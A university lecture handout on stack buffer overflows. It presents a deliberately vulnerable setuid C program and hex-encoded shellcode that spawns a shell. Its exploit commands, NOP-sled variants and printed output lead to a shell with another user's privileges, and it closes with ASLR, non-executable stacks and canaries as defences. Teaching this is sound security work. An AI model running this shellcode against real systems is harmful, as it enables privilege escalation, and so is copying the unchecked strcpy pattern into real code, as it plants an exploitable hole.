CS342 Handout # 21 Prof. Lyn Turbak April 4, 2016 Wellesley College Lecture 18: Buffer Overflows

Sources

Jon Erickson, Hacking: The Art of Exploitation, Chapter 0x300.

Aleph One, “Smashing the Stack for Fun and Profit” (can be found at http://cs.wellesley.edu/ ~cs342/papers/stack-smashing.pdf).

1 A Program to Exploit

We begin with a simple program to exploit:

/* Contents of ~cs342/download/overflow/vuln.c */ #include // Header file that includes the type of printf #include // Header file that include the type of strcpy

int main (int argn, char** argv) { char buffer[100]; int i; long *addr_ptr; // a "long" is guaranteed to be a four-byte word strcpy(buffer, argv[1]); /* copies chars of argv[1] to buffer w/o bounds checking */ addr_ptr = (long *) buffer; for (i = 0; i < 35; i++) { printf("%02i:%08x:%08x\n", /* %08x displays 8 hex chars */ i, (unsigned int) addr_ptr, (unsigned int) *addr_ptr); addr_ptr++; } }

The statement strcpy(buffer, argv[1]); copies the characters in argv[1] to buffer without any sort of bounds checking. So if there are more than 100 characters, it will start overwriting the stack after the end of the space allocated for buffer. The program also displays 35 words of memory starting with buffer = buffer[0]. Of course, a program wouldn’t normally do this, but we include it to help us understand the exploit. We compile vuln.c as user lynux and make it setuid to make things interesting:

lynux@cs342-ubuntu-1:~/overflow\$ gcc -o vuln -fno-stack-protector -z execstack vuln.c lynux@cs342-ubuntu-1:~/overflow\$ chmod 4755 vuln

The gcc compilation flags -fno-stack-protector and -z execstack disable protections that would otherwise guard against the stack buffer overflow attacks we will be launching against vuln. Later, we’ll see what these do. We also disable address space layout randomization (ASLR) to make things easier for the attacker.

lynux@cs342-ubuntu-1:~/overflow\$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0

With ASLR turned off, the stack addresses in our vuln examples will always be the same every time we run them. This gives our examples a repeatability we did not have in our format string vulnerability experiments. This makes the buffer overflow attacks easier to understand and launch. We’ll discuss ASLR more below.

1 Now let’s execute vuln as a different user (guest). If we enter up to 100 characters everything works just fine:

guest@cs342-ubuntu-1:~\$ ls -al ~lynux/overflow/vuln -rwsr-xr-x 1 lynux lynux 7198 Nov 20 07:38 /home/lynux/overflow/vuln guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyy 00:bffffb04:61616161 01:bffffb08:62626262 ... 23:bffffb60:78787878 24:bffffb64:79797979 25:bffffb68:bffffb68 26:bffffb6c:0000001a 27:bffffb70:08048490 28:bffffb74:00000000 29:bffffb78:00000000 30:bffffb7c:b7e3f4d3 31:bffffb80:00000002 32:bffffb84:bffffc14 33:bffffb88:bffffc20 34:bffffb8c:b7fdc858

What’s in slot 25? Slot 26? Slots 31-33? In fact, things will work just fine even if we go a bit beyond 100 characters. How many characters can we write without causing things to go haywire? (Hint: where is the bottom of the frame for main?)

guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDD 00:bffffae4:61616161 01:bffffae8:62626262 ... 23:bffffb40:78787878 24:bffffb44:79797979 25:bffffb48:bffffb48 26:bffffb4c:0000001a 27:bffffb50:42424242 28:bffffb54:43434343 29:bffffb58:00444444 30:bffffb5c:b7e3f4d3 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858

Why aren’t slots 25 and 26 overwritten with the characters zzzz and AAAA, respectively? Note that changing the input string has caused the address of buffer to change from bffffb04 to bffffae4. Presumably this is because the longer string requires more information to be pushed on the stack initially. Adding just a few more characters causes things to go haywire. Why?

guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDD 00:bffffae4:61616161 ... 29:bffffb58:44444444 30:bffffb5c:b7e3f400 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858

2 Illegal instruction

guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDE 00:bffffae4:61616161 ... 29:bffffb58:44444444 30:bffffb5c:b7e30045 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Segmentation fault

2 Perl Review

Next, let’s review how to use Perl to print strings, including replicated strings and strings with characters specified in hex:

guest@cs342-ubuntu-1:~\$ perl -e ’print "ABC"x10;’ ABCABCABCABCABCABCABCABCABCABCguest@cs342-ubuntu-1:~\$

guest@cs342-ubuntu-1:~\$ perl -e ’print "ABC"x10 . "DEF"x2 . "\n";’ ABCABCABCABCABCABCABCABCABCABCDEFDEF

guest@cs342-ubuntu-1:~\$ perl -e ’print "\x61\x62\x63\x64"x4 . "\n";’ abcdabcdabcdabcd

guest@cs342-ubuntu-1:~\$ perl -e ’print "\x41\x42\x43\x44"x5 . "\n";’ ABCDABCDABCDABCDABCD

We can use Perl to create a file contain a carefully constructed sequence of bytes known as “”. This byte sequence (which we explain in detail later) is Intel x86 instructions that, when executed, will spawn a shell for user linux. But for now, we treat it as data — just a raw byte sequence:

guest@cs342-ubuntu-1:~\$ perl -e ’print "\x31\xc0\xb0\x46\x31\xdb\x66\xbb\x03\x0e\x89\xd9 \xcd\x80\xeb\x15\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x89\xc2\xb0 \x0b\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";’ > shellcode

guest@cs342-ubuntu-1:~\$ wc shellcode 0 3 49 shellcode

In the Linux shell, text between a pair of backquotes (grave accents) is treated as a command that is executed, and the text it produces is substituted for the backquoted expression.

guest@cs342-ubuntu-1:~\$ echo "wc" > stuff

guest@cs342-ubuntu-1:~\$ echo ‘cat stuff‘ wc

guest@cs342-ubuntu-1:~\$ echo ‘cat stuff‘‘cat stuff‘‘cat stuff‘ wcwcwc

guest@cs342-ubuntu-1:~\$ ‘cat stuff‘ stuff 1 1 3 stuff

3 guest@cs342-ubuntu-1:~\$ ‘cat stuff‘ ‘cat stuff‘ wc: wc: No such file or directory

guest@cs342-ubuntu-1:~\$ ‘cat stuff‘ shellcode 0 3 49 shellcode

For example, we can use backquotes to inject shellcode onto the stack by passing it as an argument to vuln:

guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln ‘cat shellcode‘ 00:bffffb34:46b0c031 01:bffffb38:bb66db31 02:bffffb3c:d9890e03 03:bffffb40:15eb80cd 04:bffffb44:88c0315b 05:bffffb48:5b890743 06:bffffb4c:0c438908 07:bffffb50:89084b8d 08:bffffb54:cd0bb0c2 09:bffffb58:ffe6e880 10:bffffb5c:622fffff 11:bffffb60:732f6e69 12:bffffb64:08040068 ... 25:bffffb98:bffffb98 26:bffffb9c:0000001a 27:bffffba0:08048490 28:bffffba4:00000000 29:bffffba8:00000000 30:bffffbac:b7e3f4d3 31:bffffbb0:00000002 32:bffffbb4:bffffc44 33:bffffbb8:bffffc50 34:bffffbbc:b7fdc858

3 Overflow Exploit: Going for the Kill

All we have to do now is fill the buffer after the shellcode with enough copies of the shellcode address that we overwrite the return address at location bffffbac with a pointer to the first byte of the injected shellcode at bffffb34:

guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln ‘cat shellcode‘‘perl -e ’print "\x34\xfb\xff\xbf"x20;’‘ 00:bffffae4:46b0c031 01:bffffae8:bb66db31 02:bffffaec:d9890e03 03:bffffaf0:15eb80cd 04:bffffaf4:88c0315b 05:bffffaf8:5b890743 06:bffffafc:0c438908 07:bffffb00:89084b8d 08:bffffb04:cd0bb0c2 09:bffffb08:ffe6e880 10:bffffb0c:622fffff 11:bffffb10:732f6e69 12:bffffb14:fffb3468 13:bffffb18:fffb34bf 14:bffffb1c:fffb34bf ... 30:bffffb5c:fffb34bf 31:bffffb60:fffb34bf

4 32:bffffb64:bfff00bf 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Segmentation fault

Oops! The shellcode address was not word aligned, and needs to be. We can fix this by adding 3 arbitrary characters after the shellcode to pad its 49 bytes to 52 bytes. Also, we must change the shellcode address, which has moved again (it’s now at bffffae4).

guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln ‘cat shellcode‘‘perl -e ’print "\x01"x3 . "\xe4\xfa\xff\xbf"x20;’‘ 00:bffffae4:46b0c031 01:bffffae8:bb66db31 02:bffffaec:d9890e03 03:bffffaf0:15eb80cd 04:bffffaf4:88c0315b 05:bffffaf8:5b890743 06:bffffafc:0c438908 07:bffffb00:89084b8d 08:bffffb04:cd0bb0c2 09:bffffb08:ffe6e880 10:bffffb0c:622fffff 11:bffffb10:732f6e69 12:bffffb14:01010168 13:bffffb18:bffffae4 ... 24:bffffb44:bffffae4 25:bffffb48:bffffb48 26:bffffb4c:0000001a 27:bffffb50:bffffae4 28:bffffb54:bffffae4 29:bffffb58:bffffae4 30:bffffb5c:bffffae4 31:bffffb60:bffffae4 32:bffffb64:bffffae4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 $ whoami lynux

Qapla’!

5 4 An Overflow Exploit: NOP Sleds

In the above exploit, we had to determine the shellcode address exactly, which is generally hard, especially if ASLR is turned on. It’s more flexible to put a long sequence of NOP instructions (\x90) before the shellcode, known as a NOP sled. Any address in the NOP sled will end up sliding into the shellcode:

guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x20;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\xcc\xfa\xff\xbf"x20;’‘ 00:bffffac4:90909090 01:bffffac8:90909090 02:bffffacc:90909090 03:bffffad0:90909090 04:bffffad4:90909090 05:bffffad8:46b0c031 06:bffffadc:bb66db31 07:bffffae0:d9890e03 08:bffffae4:15eb80cd 09:bffffae8:88c0315b 10:bffffaec:5b890743 11:bffffaf0:0c438908 12:bffffaf4:89084b8d 13:bffffaf8:cd0bb0c2 14:bffffafc:ffe6e880 15:bffffb00:622fffff 16:bffffb04:732f6e69 17:bffffb08:01010168 18:bffffb0c:bffffacc 19:bffffb10:bffffacc 20:bffffb14:bffffacc 21:bffffb18:bffffacc 22:bffffb1c:bffffacc 23:bffffb20:bffffacc 24:bffffb24:bffffacc 25:bffffb28:bffffb28 26:bffffb2c:0000001a 27:bffffb30:bffffacc 28:bffffb34:bffffacc 29:bffffb38:bffffacc 30:bffffb3c:bffffacc 31:bffffb40:bffffacc 32:bffffb44:bffffacc 33:bffffb48:bffffacc 34:bffffb4c:bffffacc $ whoami lynux

Pay attention to the structure of the injected code. It consists of three parts: (1) NOP sled; (2) shellcode; and (3) repeated shellcode addresses. In practice, the NOP sled and sequence of repeated shellcode addresses may be much longer than shown here.

6 5 An Overflow Exploit: What Can Go Wrong: Illegal Instruction

Many things can go wrong with exploits. If we guess the wrong address, we might hit an illegal instruction:

guest@cs342-ubuntu-1:~$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x20;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\xfc\xfa\xff\xbf"x20;’‘ 00:bffffac4:90909090 01:bffffac8:90909090 02:bffffacc:90909090 03:bffffad0:90909090 04:bffffad4:90909090 05:bffffad8:46b0c031 06:bffffadc:bb66db31 07:bffffae0:d9890e03 08:bffffae4:15eb80cd 09:bffffae8:88c0315b 10:bffffaec:5b890743 11:bffffaf0:0c438908 12:bffffaf4:89084b8d 13:bffffaf8:cd0bb0c2 14:bffffafc:ffe6e880 15:bffffb00:622fffff 16:bffffb04:732f6e69 17:bffffb08:01010168 18:bffffb0c:bffffafc 19:bffffb10:bffffafc 20:bffffb14:bffffafc 21:bffffb18:bffffafc 22:bffffb1c:bffffafc 23:bffffb20:bffffafc 24:bffffb24:bffffafc 25:bffffb28:bffffb28 26:bffffb2c:0000001a 27:bffffb30:bffffafc 28:bffffb34:bffffafc 29:bffffb38:bffffafc 30:bffffb3c:bffffafc 31:bffffb40:bffffafc 32:bffffb44:bffffafc 33:bffffb48:bffffafc 34:bffffb4c:bffffafc Illegal instruction

7 6 An Overflow Exploit: What Can Go Wrong: Segmentation Fault

If the NOP sled is too long, we can overwrite the return address with part of the shellcode or the NOP sled itself, resulting in a segmentation violation. For example, what goes wrong in the following case?

guest@cs342-ubuntu-1:~$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x72;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\xa4\xfa\xff\xbf"x20;’‘ 00:bffffa94:90909090 01:bffffa98:90909090 02:bffffa9c:90909090 03:bffffaa0:90909090 04:bffffaa4:90909090 05:bffffaa8:90909090 06:bffffaac:90909090 07:bffffab0:90909090 08:bffffab4:90909090 09:bffffab8:90909090 10:bffffabc:90909090 11:bffffac0:90909090 12:bffffac4:90909090 13:bffffac8:90909090 14:bffffacc:90909090 15:bffffad0:90909090 16:bffffad4:90909090 17:bffffad8:90909090 18:bffffadc:46b0c031 19:bffffae0:bb66db31 20:bffffae4:d9890e03 21:bffffae8:15eb80cd 22:bffffaec:88c0315b 23:bffffaf0:5b890743 24:bffffaf4:0c438908 25:bffffaf8:bffffaf8 26:bffffafc:0000001a 27:bffffb00:ffe6e880 28:bffffb04:622fffff 29:bffffb08:732f6e69 30:bffffb0c:01010168 31:bffffb10:bffffaa4 32:bffffb14:bffffaa4 33:bffffb18:bffffaa4 34:bffffb1c:bffffaa4 Segmentation fault

8 There are other ways to get a segmentation violation. What happens in the following example?

guest@cs342-ubuntu-1:~$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x64;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\xa4\xfa\xff\xbf"x20;’‘ 00:bffffaa4:90909090 01:bffffaa8:90909090 02:bffffaac:90909090 03:bffffab0:90909090 04:bffffab4:90909090 05:bffffab8:90909090 06:bffffabc:90909090 07:bffffac0:90909090 08:bffffac4:90909090 09:bffffac8:90909090 10:bffffacc:90909090 11:bffffad0:90909090 12:bffffad4:90909090 13:bffffad8:90909090 14:bffffadc:90909090 15:bffffae0:90909090 16:bffffae4:46b0c031 17:bffffae8:bb66db31 18:bffffaec:d9890e03 19:bffffaf0:15eb80cd 20:bffffaf4:88c0315b 21:bffffaf8:5b890743 22:bffffafc:0c438908 23:bffffb00:89084b8d 24:bffffb04:cd0bb0c2 25:bffffb08:bffffb08 26:bffffb0c:0000001a 27:bffffb10:732f6e69 28:bffffb14:01010168 29:bffffb18:bffffaa4 30:bffffb1c:bffffaa4 31:bffffb20:bffffaa4 32:bffffb24:bffffaa4 33:bffffb28:bffffaa4 34:bffffb2c:bffffaa4 Segmentation fault

9 This example illustrates another bug. What is it?

guest@cs342-ubuntu-1:~$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x20;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\x00\xfb\xff\xbf"x20;’‘ 00:bffffae4:90909090 01:bffffae8:90909090 02:bffffaec:90909090 03:bffffaf0:90909090 04:bffffaf4:90909090 05:bffffaf8:46b0c031 06:bffffafc:bb66db31 07:bffffb00:d9890e03 08:bffffb04:15eb80cd 09:bffffb08:88c0315b 10:bffffb0c:5b890743 11:bffffb10:0c438908 12:bffffb14:89084b8d 13:bffffb18:cd0bb0c2 14:bffffb1c:ffe6e880 15:bffffb20:622fffff 16:bffffb24:732f6e69 17:bffffb28:01010168 18:bffffb2c:fbbffffb 19:bffffb30:fffbbfff 20:bffffb34:bffffbbf 21:bffffb38:fbbffffb 22:bffffb3c:fffbbfff 23:bffffb40:bffffbbf 24:bffffb44:fbbffffb 25:bffffb48:bffffb48 26:bffffb4c:0000001a 27:bffffb50:fbbffffb 28:bffffb54:fffbbfff 29:bffffb58:bffffbbf 30:bffffb5c:fbbffffb 31:bffffb60:fffbbfff 32:bffffb64:bffffbbf 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Segmentation fault

7 Other Kinds of Exploits

There are many other kinds of related exploits, many of which are described in Ericksons Hacking: The Art of Exploitation. Here is a sampler:

• If a buffer is too small to hold shellcode, the shellcode (with an initial NOP sled) can be stored in an environment variable, and the buffer can be overwritten with stack addresses that point into the right part of the environment. (Recall from earlier experiments that the environment key/value pairs are stored on the stack.)

• Return addresses can be overwritten with the addresses of library functions.

• Buffers can also be overflowed on the heap. There are no return addresses there, but there may be data structure slots whose values are worth changing.

• Many other applications, such as web browsers and database interfaces, are subject to various kinds of code injection attacks. Some are based on buffer overflows; others violate other assumptions.

10 8 Protecting Against Overflow-like Exploits

What can be done to protect against overflow exploits? Here we consider some approaches

8.1 Address Space Layout Randomization (ASLR) Above, we turned off ASLR. What if we turn it back on, and then retry one of the successful exploits from above?

lynux@cs342-ubuntu-1:~/overflow$ sudo sysctl -w kernel.randomize_va_space=2 [sudo] password for lynux: kernel.randomize_va_space = 2

guest@cs342-ubuntu-1:~$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x20;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\xcc\xfa\xff\xbf"x20;’‘ 00:bfcb3ec4:90909090 01:bfcb3ec8:90909090 02:bfcb3ecc:90909090 03:bfcb3ed0:90909090 04:bfcb3ed4:90909090 05:bfcb3ed8:46b0c031 06:bfcb3edc:bb66db31 07:bfcb3ee0:d9890e03 08:bfcb3ee4:15eb80cd 09:bfcb3ee8:88c0315b 10:bfcb3eec:5b890743 11:bfcb3ef0:0c438908 12:bfcb3ef4:89084b8d 13:bfcb3ef8:cd0bb0c2 14:bfcb3efc:ffe6e880 15:bfcb3f00:622fffff 16:bfcb3f04:732f6e69 17:bfcb3f08:01010168 18:bfcb3f0c:bffffacc 19:bfcb3f10:bffffacc 20:bfcb3f14:bffffacc 21:bfcb3f18:bffffacc 22:bfcb3f1c:bffffacc 23:bfcb3f20:bffffacc 24:bfcb3f24:bffffacc 25:bfcb3f28:bfcb3f28 26:bfcb3f2c:0000001a 27:bfcb3f30:bffffacc 28:bfcb3f34:bffffacc 29:bfcb3f38:bffffacc 30:bfcb3f3c:bffffacc 31:bfcb3f40:bffffacc 32:bfcb3f44:bffffacc 33:bfcb3f48:bffffacc 34:bfcb3f4c:bffffacc Segmentation fault

Why didn’t the exploit work this time? ASLR is not perfect? Why not?

11 8.2 Making the Stack Nonexecutable An easy way to stop the stack buffer overflow exploit from above is to disallow execution of code on the stack. This is the default in gcc on Ubuntu. We used the -z execstack flag earlier to override it. Let’s compile vuln.c without this flag, and turn ASLR off again:

lynux@cs342-ubuntu-1:~/overflow$ gcc -o vuln -fno-stack-protector vuln.c lynux@cs342-ubuntu-1:~/overflow$ chmod 4755 vuln lynux@cs342-ubuntu-1:~/overflow$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0

guest@cs342-ubuntu-1:~$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x20;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\xcc\xfa\xff\xbf"x20;’‘ 00:bffffac4:90909090 01:bffffac8:90909090 02:bffffacc:90909090 03:bffffad0:90909090 04:bffffad4:90909090 05:bffffad8:46b0c031 06:bffffadc:bb66db31 07:bffffae0:d9890e03 08:bffffae4:15eb80cd 09:bffffae8:88c0315b 10:bffffaec:5b890743 11:bffffaf0:0c438908 12:bffffaf4:89084b8d 13:bffffaf8:cd0bb0c2 14:bffffafc:ffe6e880 15:bffffb00:622fffff 16:bffffb04:732f6e69 17:bffffb08:01010168 18:bffffb0c:bffffacc 19:bffffb10:bffffacc 20:bffffb14:bffffacc 21:bffffb18:bffffacc 22:bffffb1c:bffffacc 23:bffffb20:bffffacc 24:bffffb24:bffffacc 25:bffffb28:bffffb28 26:bffffb2c:0000001a 27:bffffb30:bffffacc 28:bffffb34:bffffacc 29:bffffb38:bffffacc 30:bffffb3c:bffffacc 31:bffffb40:bffffacc 32:bffffb44:bffffacc 33:bffffb48:bffffacc 34:bffffb4c:bffffacc Segmentation fault

In this case, the exploit looks like it should work, but it doesn’t because the stack is not executable. The attempt to jump to and execute the code at bffffacc results in a segmentation violation because the stack is not executable. Executing code on the stack can’t always be forbidden because compilers for some languages generate code that requires code fragments on the stack to be both writable and executable.

12 8.3 Canaries Yet another protection against overflows is for the compiler to insert so-called canary values at the end of buffers and then check to see if those values have been overwritten before returning from the current stack frame. On Ubuntu, gcc does this by default, and the -fno-stack-protector is needed to turn it off. Let’s re-allow executablility of the stack and keep ASLR off, but recompile vuln.c with the canary protection turned on:

lynux@cs342-ubuntu-1:~/overflow$ gcc -o vuln -z execstack vuln.c lynux@cs342-ubuntu-1:~/overflow$ chmod 4755 vuln

Then a previously successful exploit won’t work, because the system detects that the canary has been overwritten:

guest@cs342-ubuntu-1:~$ ~lynux/overflow/vuln ‘perl -e ’print "\x90"x20;’‘‘cat shellcode‘ ‘perl -e ’print "\x01"x3 . "\xcc\xfa\xff\xbf"x20;’‘ 00:bffffac8:90909090 01:bffffacc:90909090 02:bffffad0:90909090 03:bffffad4:90909090 04:bffffad8:90909090 05:bffffadc:46b0c031 06:bffffae0:bb66db31 07:bffffae4:d9890e03 08:bffffae8:15eb80cd 09:bffffaec:88c0315b 10:bffffaf0:5b890743 11:bffffaf4:0c438908 12:bffffaf8:89084b8d 13:bffffafc:cd0bb0c2 14:bffffb00:ffe6e880 15:bffffb04:622fffff 16:bffffb08:732f6e69 17:bffffb0c:01010168 18:bffffb10:bffffacc 19:bffffb14:bffffacc 20:bffffb18:bffffacc 21:bffffb1c:bffffacc 22:bffffb20:bffffacc 23:bffffb24:bffffacc 24:bffffb28:bffffacc 25:bffffb2c:bffffacc 26:bffffb30:bffffacc 27:bffffb34:bffffacc 28:bffffb38:bffffacc 29:bffffb3c:bffffacc 30:bffffb40:bffffacc 31:bffffb44:bffffacc 32:bffffb48:bffffacc 33:bffffb4c:bffffacc 34:bffffb50:bffffacc *** stack smashing detected ***: /home/lynux/overflow/vuln terminated ======Backtrace: ======/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f25dd5] /lib/i386-linux-gnu/libc.so.6(+0xffd8a)[0xb7f25d8a] /home/lynux/overflow/vuln[0x8048500] [0xbffffacc] ======Memory map: ======08048000-08049000 r-xp 00000000 08:01 338863 /home/lynux/cs342/overflow/vuln 08049000-0804a000 r-xp 00000000 08:01 338863 /home/lynux/cs342/overflow/vuln 0804a000-0804b000 rwxp 00001000 08:01 338863 /home/lynux/cs342/overflow/vuln

13 0804b000-0806c000 rwxp 00000000 00:00 0 [heap] b7df7000-b7e13000 r-xp 00000000 08:01 132033 /lib/i386-linux-gnu/libgcc_s.so.1 b7e13000-b7e14000 r-xp 0001b000 08:01 132033 /lib/i386-linux-gnu/libgcc_s.so.1 b7e14000-b7e15000 rwxp 0001c000 08:01 132033 /lib/i386-linux-gnu/libgcc_s.so.1 b7e25000-b7e26000 rwxp 00000000 00:00 0 b7e26000-b7fc5000 r-xp 00000000 08:01 132012 /lib/i386-linux-gnu/libc-2.15.so b7fc5000-b7fc7000 r-xp 0019f000 08:01 132012 /lib/i386-linux-gnu/libc-2.15.so b7fc7000-b7fc8000 rwxp 001a1000 08:01 132012 /lib/i386-linux-gnu/libc-2.15.so b7fc8000-b7fcb000 rwxp 00000000 00:00 0 b7fd9000-b7fdd000 rwxp 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 131992 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r-xp 0001f000 08:01 131992 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rwxp 00020000 08:01 131992 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rwxp 00000000 00:00 0 [stack] Aborted

8.4 Other Ways to Avoid Overflow Exploits • In languages like C/C++, care must be taken to do manual bounds-checking on arrays. Static analysis can be performed on programs to catch many potential overflows.

• For many applications, it’s safer to use languages with automatic array-bounds checking, like Java, OCaml, Scheme, CommonLisp. Low-level programming and safety are not exclusive – e.g, the Cyclone language combines the best features of C and OCaml.

14